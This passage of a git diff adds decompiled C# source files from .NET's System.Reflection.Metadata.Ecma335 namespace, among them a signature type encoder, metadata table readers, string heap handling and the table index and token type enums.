SignatureKind kind = header.Kind; + if (kind != SignatureKind.Method && kind != SignatureKind.Property) + { + throw new BadImageFormatException(System.SR.Format(System.SR.UnexpectedSignatureHeader2, SignatureKind.Property, SignatureKind.Method, header.Kind, header.RawValue)); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SignatureTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SignatureTypeEncoder.cs new file mode 100644 index 0000000..bf4acb5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SignatureTypeEncoder.cs @@ -0,0 +1,234 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct SignatureTypeEncoder +{ + public BlobBuilder Builder { get; } + + public SignatureTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + private void WriteTypeCode(SignatureTypeCode value) + { + Builder.WriteByte((byte)value); + } + + private void ClassOrValue(bool isValueType) + { + Builder.WriteByte((byte)(isValueType ? 17 : 18)); + } + + public void Boolean() + { + WriteTypeCode(SignatureTypeCode.Boolean); + } + + public void Char() + { + WriteTypeCode(SignatureTypeCode.Char); + } + + public void SByte() + { + WriteTypeCode(SignatureTypeCode.SByte); + } + + public void Byte() + { + WriteTypeCode(SignatureTypeCode.Byte); + } + + public void Int16() + { + WriteTypeCode(SignatureTypeCode.Int16); + } + + public void UInt16() + { + WriteTypeCode(SignatureTypeCode.UInt16); + } + + public void Int32() + { + WriteTypeCode(SignatureTypeCode.Int32); + } + + public void UInt32() + { + WriteTypeCode(SignatureTypeCode.UInt32); + } + + public void Int64() + { + WriteTypeCode(SignatureTypeCode.Int64); + } + + public void UInt64() + { + WriteTypeCode(SignatureTypeCode.UInt64); + } + + public void Single() + { + WriteTypeCode(SignatureTypeCode.Single); + } + + public void Double() + { + WriteTypeCode(SignatureTypeCode.Double); + } + + public void String() + { + WriteTypeCode(SignatureTypeCode.String); + } + + public void IntPtr() + { + WriteTypeCode(SignatureTypeCode.IntPtr); + } + + public void UIntPtr() + { + WriteTypeCode(SignatureTypeCode.UIntPtr); + } + + public void Object() + { + WriteTypeCode(SignatureTypeCode.Object); + } + + public void PrimitiveType(PrimitiveTypeCode type) + { + switch (type) + { + case PrimitiveTypeCode.Boolean: + case PrimitiveTypeCode.Char: + case PrimitiveTypeCode.SByte: + case PrimitiveTypeCode.Byte: + case PrimitiveTypeCode.Int16: + case PrimitiveTypeCode.UInt16: + case PrimitiveTypeCode.Int32: + case PrimitiveTypeCode.UInt32: + case PrimitiveTypeCode.Int64: + case PrimitiveTypeCode.UInt64: + case PrimitiveTypeCode.Single: + case PrimitiveTypeCode.Double: + case PrimitiveTypeCode.String: + case PrimitiveTypeCode.IntPtr: + case PrimitiveTypeCode.UIntPtr: + case PrimitiveTypeCode.Object: + Builder.WriteByte((byte)type); + break; + default: + Throw.ArgumentOutOfRange("type"); + break; + } + } + + public void Array(out SignatureTypeEncoder elementType, out ArrayShapeEncoder arrayShape) + { + Builder.WriteByte(20); + elementType = this; + arrayShape = new ArrayShapeEncoder(Builder); + } + + public void Array(Action elementType, Action arrayShape) + { + if (elementType == null) + { + Throw.ArgumentNull("elementType"); + } + if (arrayShape == null) + { + Throw.ArgumentNull("arrayShape"); + } + Array(out var elementType2, out var arrayShape2); + elementType(elementType2); + arrayShape(arrayShape2); + } + + public void Type(EntityHandle type, bool isValueType) + { + int value = CodedIndex.TypeDefOrRef(type); + ClassOrValue(isValueType); + Builder.WriteCompressedInteger(value); + } + + public MethodSignatureEncoder FunctionPointer(SignatureCallingConvention convention = SignatureCallingConvention.Default, FunctionPointerAttributes attributes = FunctionPointerAttributes.None, int genericParameterCount = 0) + { + if (attributes != FunctionPointerAttributes.None && attributes != FunctionPointerAttributes.HasThis && attributes != FunctionPointerAttributes.HasExplicitThis) + { + throw new ArgumentException(System.SR.InvalidSignature, "attributes"); + } + if ((uint)genericParameterCount > 65535u) + { + Throw.ArgumentOutOfRange("genericParameterCount"); + } + Builder.WriteByte(27); + Builder.WriteByte(new SignatureHeader(SignatureKind.Method, convention, (SignatureAttributes)attributes).RawValue); + if (genericParameterCount != 0) + { + Builder.WriteCompressedInteger(genericParameterCount); + } + return new MethodSignatureEncoder(Builder, convention == SignatureCallingConvention.VarArgs); + } + + public GenericTypeArgumentsEncoder GenericInstantiation(EntityHandle genericType, int genericArgumentCount, bool isValueType) + { + if ((uint)(genericArgumentCount - 1) > 65534u) + { + Throw.ArgumentOutOfRange("genericArgumentCount"); + } + int value = CodedIndex.TypeDefOrRef(genericType); + Builder.WriteByte(21); + ClassOrValue(isValueType); + Builder.WriteCompressedInteger(value); + Builder.WriteCompressedInteger(genericArgumentCount); + return new GenericTypeArgumentsEncoder(Builder); + } + + public void GenericMethodTypeParameter(int parameterIndex) + { + if ((uint)parameterIndex > 65535u) + { + Throw.ArgumentOutOfRange("parameterIndex"); + } + Builder.WriteByte(30); + Builder.WriteCompressedInteger(parameterIndex); + } + + public void GenericTypeParameter(int parameterIndex) + { + if ((uint)parameterIndex > 65535u) + { + Throw.ArgumentOutOfRange("parameterIndex"); + } + Builder.WriteByte(19); + Builder.WriteCompressedInteger(parameterIndex); + } + + public SignatureTypeEncoder Pointer() + { + Builder.WriteByte(15); + return this; + } + + public void VoidPointer() + { + Builder.WriteByte(15); + Builder.WriteByte(1); + } + + public SignatureTypeEncoder SZArray() + { + Builder.WriteByte(29); + return this; + } + + public CustomModifiersEncoder CustomModifiers() + { + return new CustomModifiersEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StandAloneSigTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StandAloneSigTableReader.cs new file mode 100644 index 0000000..2c89820 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StandAloneSigTableReader.cs @@ -0,0 +1,31 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct StandAloneSigTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _SignatureOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal StandAloneSigTableReader(int numberOfRows, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _SignatureOffset = 0; + RowSize = _SignatureOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal BlobHandle GetSignature(int rowId) + { + int num = (rowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _SignatureOffset, _IsBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StateMachineMethodTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StateMachineMethodTableReader.cs new file mode 100644 index 0000000..f7e7ede --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StateMachineMethodTableReader.cs @@ -0,0 +1,47 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct StateMachineMethodTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isMethodRefSizeSmall; + + private const int MoveNextMethodOffset = 0; + + private readonly int _kickoffMethodOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal StateMachineMethodTableReader(int numberOfRows, bool declaredSorted, int methodRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isMethodRefSizeSmall = methodRefSize == 2; + _kickoffMethodOffset = methodRefSize; + RowSize = _kickoffMethodOffset + methodRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (numberOfRows > 0 && !declaredSorted) + { + Throw.TableNotSorted(TableIndex.StateMachineMethod); + } + } + + internal MethodDefinitionHandle FindKickoffMethod(int moveNextMethodRowId) + { + int num = Block.BinarySearchReference(NumberOfRows, RowSize, 0, (uint)moveNextMethodRowId, _isMethodRefSizeSmall); + if (num < 0) + { + return default(MethodDefinitionHandle); + } + return GetKickoffMethod(num + 1); + } + + private MethodDefinitionHandle GetKickoffMethod(int rowId) + { + int num = (rowId - 1) * RowSize; + return MethodDefinitionHandle.FromRowId(Block.PeekReference(num + _kickoffMethodOffset, _isMethodRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StreamHeader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StreamHeader.cs new file mode 100644 index 0000000..2bc6512 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StreamHeader.cs @@ -0,0 +1,10 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal struct StreamHeader +{ + internal uint Offset; + + internal int Size; + + internal string Name; +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringHandleType.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringHandleType.cs new file mode 100644 index 0000000..2635aac --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringHandleType.cs @@ -0,0 +1,24 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal static class StringHandleType +{ + internal const uint TypeMask = 3758096384u; + + internal const uint NonVirtualTypeMask = 1610612736u; + + internal const uint String = 0u; + + internal const uint DotTerminatedString = 536870912u; + + internal const uint ReservedString1 = 1073741824u; + + internal const uint ReservedString2 = 1610612736u; + + internal const uint VirtualString = 2147483648u; + + internal const uint WinRTPrefixedString = 2684354560u; + + internal const uint ReservedVirtualString1 = 3221225472u; + + internal const uint ReservedVirtualString2 = 3758096384u; +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringHeap.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringHeap.cs new file mode 100644 index 0000000..ea45821 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringHeap.cs @@ -0,0 +1,204 @@ +using System.Diagnostics; +using System.Reflection.Internal; +using System.Runtime.InteropServices; +using System.Text; + +namespace System.Reflection.Metadata.Ecma335; + +internal struct StringHeap +{ + private static string[] s_virtualValues; + + internal readonly MemoryBlock Block; + + private VirtualHeap _lazyVirtualHeap = null; + + internal StringHeap(MemoryBlock block, MetadataKind metadataKind) + { + if (s_virtualValues == null && metadataKind != MetadataKind.Ecma335) + { + s_virtualValues = new string[71] + { + "System.Runtime.WindowsRuntime", "System.Runtime", "System.ObjectModel", "System.Runtime.WindowsRuntime.UI.Xaml", "System.Runtime.InteropServices.WindowsRuntime", "System.Numerics.Vectors", "Dispose", "AttributeTargets", "AttributeUsageAttribute", "Color", + "CornerRadius", "DateTimeOffset", "Duration", "DurationType", "EventHandler`1", "EventRegistrationToken", "Exception", "GeneratorPosition", "GridLength", "GridUnitType", + "ICommand", "IDictionary`2", "IDisposable", "IEnumerable", "IEnumerable`1", "IList", "IList`1", "INotifyCollectionChanged", "INotifyPropertyChanged", "IReadOnlyDictionary`2", + "IReadOnlyList`1", "KeyTime", "KeyValuePair`2", "Matrix", "Matrix3D", "Matrix3x2", "Matrix4x4", "NotifyCollectionChangedAction", "NotifyCollectionChangedEventArgs", "NotifyCollectionChangedEventHandler", + "Nullable`1", "Plane", "Point", "PropertyChangedEventArgs", "PropertyChangedEventHandler", "Quaternion", "Rect", "RepeatBehavior", "RepeatBehaviorType", "Size", + "System", "System.Collections", "System.Collections.Generic", "System.Collections.Specialized", "System.ComponentModel", "System.Numerics", "System.Windows.Input", "Thickness", "TimeSpan", "Type", + "Uri", "Vector2", "Vector3", "Vector4", "Windows.Foundation", "Windows.UI", "Windows.UI.Xaml", "Windows.UI.Xaml.Controls.Primitives", "Windows.UI.Xaml.Media", "Windows.UI.Xaml.Media.Animation", + "Windows.UI.Xaml.Media.Media3D" + }; + } + Block = TrimEnd(block); + } + + [Conditional("DEBUG")] + private static void AssertFilled() + { + for (int i = 0; i < s_virtualValues.Length; i++) + { + } + } + + private static MemoryBlock TrimEnd(MemoryBlock block) + { + if (block.Length == 0) + { + return block; + } + int num = block.Length - 1; + while (num >= 0 && block.PeekByte(num) == 0) + { + num--; + } + if (num == block.Length - 1) + { + return block; + } + return block.GetMemoryBlockAt(0, num + 2); + } + + internal string GetString(StringHandle handle, MetadataStringDecoder utf8Decoder) + { + if (!handle.IsVirtual) + { + return GetNonVirtualString(handle, utf8Decoder, null); + } + return GetVirtualHandleString(handle, utf8Decoder); + } + + internal MemoryBlock GetMemoryBlock(StringHandle handle) + { + if (!handle.IsVirtual) + { + return GetNonVirtualStringMemoryBlock(handle); + } + return GetVirtualHandleMemoryBlock(handle); + } + + internal static string GetVirtualString(StringHandle.VirtualIndex index) + { + return s_virtualValues[(int)index]; + } + + private string GetNonVirtualString(StringHandle handle, MetadataStringDecoder utf8Decoder, byte[] prefixOpt) + { + char terminator = ((handle.StringKind == StringKind.DotTerminated) ? '.' : '\0'); + int numberOfBytesRead; + return Block.PeekUtf8NullTerminated(handle.GetHeapOffset(), prefixOpt, utf8Decoder, out numberOfBytesRead, terminator); + } + + private unsafe MemoryBlock GetNonVirtualStringMemoryBlock(StringHandle handle) + { + char terminator = ((handle.StringKind == StringKind.DotTerminated) ? '.' : '\0'); + int heapOffset = handle.GetHeapOffset(); + int numberOfBytesRead; + int utf8NullTerminatedLength = Block.GetUtf8NullTerminatedLength(heapOffset, out numberOfBytesRead, terminator); + return new MemoryBlock(Block.Pointer + heapOffset, utf8NullTerminatedLength); + } + + private unsafe byte[] GetNonVirtualStringBytes(StringHandle handle, byte[] prefix) + { + MemoryBlock nonVirtualStringMemoryBlock = GetNonVirtualStringMemoryBlock(handle); + byte[] array = new byte[prefix.Length + nonVirtualStringMemoryBlock.Length]; + Buffer.BlockCopy(prefix, 0, array, 0, prefix.Length); + Marshal.Copy((IntPtr)nonVirtualStringMemoryBlock.Pointer, array, prefix.Length, nonVirtualStringMemoryBlock.Length); + return array; + } + + private string GetVirtualHandleString(StringHandle handle, MetadataStringDecoder utf8Decoder) + { + return handle.StringKind switch + { + StringKind.Virtual => GetVirtualString(handle.GetVirtualIndex()), + StringKind.WinRTPrefixed => GetNonVirtualString(handle, utf8Decoder, MetadataReader.WinRTPrefix), + _ => throw ExceptionUtilities.UnexpectedValue(handle.StringKind), + }; + } + + private MemoryBlock GetVirtualHandleMemoryBlock(StringHandle handle) + { + VirtualHeap orCreateVirtualHeap = VirtualHeap.GetOrCreateVirtualHeap(ref _lazyVirtualHeap); + lock (orCreateVirtualHeap) + { + if (!orCreateVirtualHeap.TryGetMemoryBlock(handle.RawValue, out var block)) + { + byte[] value = handle.StringKind switch + { + StringKind.Virtual => Encoding.UTF8.GetBytes(GetVirtualString(handle.GetVirtualIndex())), + StringKind.WinRTPrefixed => GetNonVirtualStringBytes(handle, MetadataReader.WinRTPrefix), + _ => throw ExceptionUtilities.UnexpectedValue(handle.StringKind), + }; + return orCreateVirtualHeap.AddBlob(handle.RawValue, value); + } + return block; + } + } + + internal BlobReader GetBlobReader(StringHandle handle) + { + return new BlobReader(GetMemoryBlock(handle)); + } + + internal StringHandle GetNextHandle(StringHandle handle) + { + if (handle.IsVirtual) + { + return default(StringHandle); + } + int num = Block.IndexOf(0, handle.GetHeapOffset()); + if (num == -1 || num == Block.Length - 1) + { + return default(StringHandle); + } + return StringHandle.FromOffset(num + 1); + } + + internal bool Equals(StringHandle handle, string value, MetadataStringDecoder utf8Decoder, bool ignoreCase) + { + if (handle.IsVirtual) + { + return string.Equals(GetString(handle, utf8Decoder), value, ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); + } + if (handle.IsNil) + { + return value.Length == 0; + } + char terminator = ((handle.StringKind == StringKind.DotTerminated) ? '.' : '\0'); + return Block.Utf8NullTerminatedEquals(handle.GetHeapOffset(), value, utf8Decoder, terminator, ignoreCase); + } + + internal bool StartsWith(StringHandle handle, string value, MetadataStringDecoder utf8Decoder, bool ignoreCase) + { + if (handle.IsVirtual) + { + return GetString(handle, utf8Decoder).StartsWith(value, ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); + } + if (handle.IsNil) + { + return value.Length == 0; + } + char terminator = ((handle.StringKind == StringKind.DotTerminated) ? '.' : '\0'); + return Block.Utf8NullTerminatedStartsWith(handle.GetHeapOffset(), value, utf8Decoder, terminator, ignoreCase); + } + + internal bool EqualsRaw(StringHandle rawHandle, string asciiString) + { + return Block.CompareUtf8NullTerminatedStringWithAsciiString(rawHandle.GetHeapOffset(), asciiString) == 0; + } + + internal int IndexOfRaw(int startIndex, char asciiChar) + { + return Block.Utf8NullTerminatedOffsetOfAsciiChar(startIndex, asciiChar); + } + + internal bool StartsWithRaw(StringHandle rawHandle, string asciiPrefix) + { + return Block.Utf8NullTerminatedStringStartsWithAsciiPrefix(rawHandle.GetHeapOffset(), asciiPrefix); + } + + internal int BinarySearchRaw(string[] asciiKeys, StringHandle rawHandle) + { + return Block.BinarySearch(asciiKeys, rawHandle.GetHeapOffset()); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringKind.cs new file mode 100644 index 0000000..bf61bda --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/StringKind.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal enum StringKind : byte +{ + Plain = 0, + Virtual = 4, + WinRTPrefixed = 5, + DotTerminated = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TableIndex.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TableIndex.cs new file mode 100644 index 0000000..9d06dad --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TableIndex.cs @@ -0,0 +1,58 @@ +namespace System.Reflection.Metadata.Ecma335; + +public enum TableIndex : byte +{ + Module = 0, + TypeRef = 1, + TypeDef = 2, + FieldPtr = 3, + Field = 4, + MethodPtr = 5, + MethodDef = 6, + ParamPtr = 7, + Param = 8, + InterfaceImpl = 9, + MemberRef = 10, + Constant = 11, + CustomAttribute = 12, + FieldMarshal = 13, + DeclSecurity = 14, + ClassLayout = 15, + FieldLayout = 16, + StandAloneSig = 17, + EventMap = 18, + EventPtr = 19, + Event = 20, + PropertyMap = 21, + PropertyPtr = 22, + Property = 23, + MethodSemantics = 24, + MethodImpl = 25, + ModuleRef = 26, + TypeSpec = 27, + ImplMap = 28, + FieldRva = 29, + EncLog = 30, + EncMap = 31, + Assembly = 32, + AssemblyProcessor = 33, + AssemblyOS = 34, + AssemblyRef = 35, + AssemblyRefProcessor = 36, + AssemblyRefOS = 37, + File = 38, + ExportedType = 39, + ManifestResource = 40, + NestedClass = 41, + GenericParam = 42, + MethodSpec = 43, + GenericParamConstraint = 44, + Document = 48, + MethodDebugInformation = 49, + LocalScope = 50, + LocalVariable = 51, + LocalConstant = 52, + ImportScope = 53, + StateMachineMethod = 54, + CustomDebugInformation = 55 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TableMask.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TableMask.cs new file mode 100644 index 0000000..fae0a8e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TableMask.cs @@ -0,0 +1,61 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +internal enum TableMask : ulong +{ + Module = 1uL, + TypeRef = 2uL, + TypeDef = 4uL, + FieldPtr = 8uL, + Field = 0x10uL, + MethodPtr = 0x20uL, + MethodDef = 0x40uL, + ParamPtr = 0x80uL, + Param = 0x100uL, + InterfaceImpl = 0x200uL, + MemberRef = 0x400uL, + Constant = 0x800uL, + CustomAttribute = 0x1000uL, + FieldMarshal = 0x2000uL, + DeclSecurity = 0x4000uL, + ClassLayout = 0x8000uL, + FieldLayout = 0x10000uL, + StandAloneSig = 0x20000uL, + EventMap = 0x40000uL, + EventPtr = 0x80000uL, + Event = 0x100000uL, + PropertyMap = 0x200000uL, + PropertyPtr = 0x400000uL, + Property = 0x800000uL, + MethodSemantics = 0x1000000uL, + MethodImpl = 0x2000000uL, + ModuleRef = 0x4000000uL, + TypeSpec = 0x8000000uL, + ImplMap = 0x10000000uL, + FieldRva = 0x20000000uL, + EnCLog = 0x40000000uL, + EnCMap = 0x80000000uL, + Assembly = 0x100000000uL, + AssemblyRef = 0x800000000uL, + File = 0x4000000000uL, + ExportedType = 0x8000000000uL, + ManifestResource = 0x10000000000uL, + NestedClass = 0x20000000000uL, + GenericParam = 0x40000000000uL, + MethodSpec = 0x80000000000uL, + GenericParamConstraint = 0x100000000000uL, + Document = 0x1000000000000uL, + MethodDebugInformation = 0x2000000000000uL, + LocalScope = 0x4000000000000uL, + LocalVariable = 0x8000000000000uL, + LocalConstant = 0x10000000000000uL, + ImportScope = 0x20000000000000uL, + StateMachineMethod = 0x40000000000000uL, + CustomDebugInformation = 0x80000000000000uL, + PtrTables = 0x4800A8uL, + EncTables = 0xC0000000uL, + TypeSystemTables = 0x1FC9FFFFFFFFuL, + DebugTables = 0xFF000000000000uL, + AllTables = 0xFF1FC9FFFFFFFFuL, + ValidPortablePdbExternalTables = 0x1FC93FB7FF57uL +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TokenTypeIds.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TokenTypeIds.cs new file mode 100644 index 0000000..84b61e2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TokenTypeIds.cs @@ -0,0 +1,108 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal static class TokenTypeIds +{ + internal const uint Module = 0u; + + internal const uint TypeRef = 16777216u; + + internal const uint TypeDef = 33554432u; + + internal const uint FieldDef = 67108864u; + + internal const uint MethodDef = 100663296u; + + internal const uint ParamDef = 134217728u; + + internal const uint InterfaceImpl = 150994944u; + + internal const uint MemberRef = 167772160u; + + internal const uint Constant = 184549376u; + + internal const uint CustomAttribute = 201326592u; + + internal const uint DeclSecurity = 234881024u; + + internal const uint Signature = 285212672u; + + internal const uint EventMap = 301989888u; + + internal const uint Event = 335544320u; + + internal const uint PropertyMap = 352321536u; + + internal const uint Property = 385875968u; + + internal const uint MethodSemantics = 402653184u; + + internal const uint MethodImpl = 419430400u; + + internal const uint ModuleRef = 436207616u; + + internal const uint TypeSpec = 452984832u; + + internal const uint Assembly = 536870912u; + + internal const uint AssemblyRef = 587202560u; + + internal const uint File = 637534208u; + + internal const uint ExportedType = 654311424u; + + internal const uint ManifestResource = 671088640u; + + internal const uint NestedClass = 687865856u; + + internal const uint GenericParam = 704643072u; + + internal const uint MethodSpec = 721420288u; + + internal const uint GenericParamConstraint = 738197504u; + + internal const uint Document = 805306368u; + + internal const uint MethodDebugInformation = 822083584u; + + internal const uint LocalScope = 838860800u; + + internal const uint LocalVariable = 855638016u; + + internal const uint LocalConstant = 872415232u; + + internal const uint ImportScope = 889192448u; + + internal const uint AsyncMethod = 905969664u; + + internal const uint CustomDebugInformation = 922746880u; + + internal const uint UserString = 1879048192u; + + internal const int RowIdBitCount = 24; + + internal const uint RIDMask = 16777215u; + + internal const uint TypeMask = 2130706432u; + + internal const uint VirtualBit = 2147483648u; + + internal static bool IsEntityOrUserStringToken(uint vToken) + { + return (vToken & 0x7F000000) <= 1879048192; + } + + internal static bool IsEntityToken(uint vToken) + { + return (vToken & 0x7F000000) < 1879048192; + } + + internal static bool IsValidRowId(uint rowId) + { + return (rowId & 0xFF000000u) == 0; + } + + internal static bool IsValidRowId(int rowId) + { + return (rowId & 0xFF000000u) == 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefOrRefTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefOrRefTag.cs new file mode 100644 index 0000000..1f8086c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefOrRefTag.cs @@ -0,0 +1,34 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class TypeDefOrRefTag +{ + internal const int NumberOfBits = 2; + + internal const int LargeRowSize = 16384; + + internal const uint TypeDef = 0u; + + internal const uint TypeRef = 1u; + + internal const uint TypeSpec = 2u; + + internal const uint TagMask = 3u; + + internal const uint TagToTokenTypeByteVector = 1769730u; + + internal const TableMask TablesReferenced = TableMask.TypeRef | TableMask.TypeDef | TableMask.TypeSpec; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint typeDefOrRefTag) + { + uint num = (uint)(1769730 >>> (int)((typeDefOrRefTag & 3) << 3) << 24); + uint num2 = typeDefOrRefTag >> 2; + if (num == 0 || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefTableReader.cs new file mode 100644 index 0000000..cb4766a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefTableReader.cs @@ -0,0 +1,159 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal struct TypeDefTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsFieldRefSizeSmall; + + private readonly bool _IsMethodRefSizeSmall; + + private readonly bool _IsTypeDefOrRefRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _NameOffset; + + private readonly int _NamespaceOffset; + + private readonly int _ExtendsOffset; + + private readonly int _FieldListOffset; + + private readonly int _MethodListOffset; + + internal readonly int RowSize; + + internal MemoryBlock Block; + + internal TypeDefTableReader(int numberOfRows, int fieldRefSize, int methodRefSize, int typeDefOrRefRefSize, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsFieldRefSizeSmall = fieldRefSize == 2; + _IsMethodRefSizeSmall = methodRefSize == 2; + _IsTypeDefOrRefRefSizeSmall = typeDefOrRefRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _FlagsOffset = 0; + _NameOffset = _FlagsOffset + 4; + _NamespaceOffset = _NameOffset + stringHeapRefSize; + _ExtendsOffset = _NamespaceOffset + stringHeapRefSize; + _FieldListOffset = _ExtendsOffset + typeDefOrRefRefSize; + _MethodListOffset = _FieldListOffset + fieldRefSize; + RowSize = _MethodListOffset + methodRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal TypeAttributes GetFlags(TypeDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (TypeAttributes)Block.PeekUInt32(num + _FlagsOffset); + } + + internal NamespaceDefinitionHandle GetNamespaceDefinition(TypeDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return NamespaceDefinitionHandle.FromFullNameOffset(Block.PeekHeapReference(num + _NamespaceOffset, _IsStringHeapRefSizeSmall)); + } + + internal StringHandle GetNamespace(TypeDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NamespaceOffset, _IsStringHeapRefSizeSmall)); + } + + internal StringHandle GetName(TypeDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal EntityHandle GetExtends(TypeDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return TypeDefOrRefTag.ConvertToHandle(Block.PeekTaggedReference(num + _ExtendsOffset, _IsTypeDefOrRefRefSizeSmall)); + } + + internal int GetFieldStart(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _FieldListOffset, _IsFieldRefSizeSmall); + } + + internal int GetMethodStart(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _MethodListOffset, _IsMethodRefSizeSmall); + } + + internal TypeDefinitionHandle FindTypeContainingMethod(int methodDefOrPtrRowId, int numberOfMethods) + { + int numberOfRows = NumberOfRows; + int num = Block.BinarySearchForSlot(numberOfRows, RowSize, _MethodListOffset, (uint)methodDefOrPtrRowId, _IsMethodRefSizeSmall); + int num2 = num + 1; + if (num2 == 0) + { + return default(TypeDefinitionHandle); + } + if (num2 > numberOfRows) + { + if (methodDefOrPtrRowId <= numberOfMethods) + { + return TypeDefinitionHandle.FromRowId(numberOfRows); + } + return default(TypeDefinitionHandle); + } + int methodStart = GetMethodStart(num2); + if (methodStart == methodDefOrPtrRowId) + { + while (num2 < numberOfRows) + { + int num3 = num2 + 1; + methodStart = GetMethodStart(num3); + if (methodStart != methodDefOrPtrRowId) + { + break; + } + num2 = num3; + } + } + return 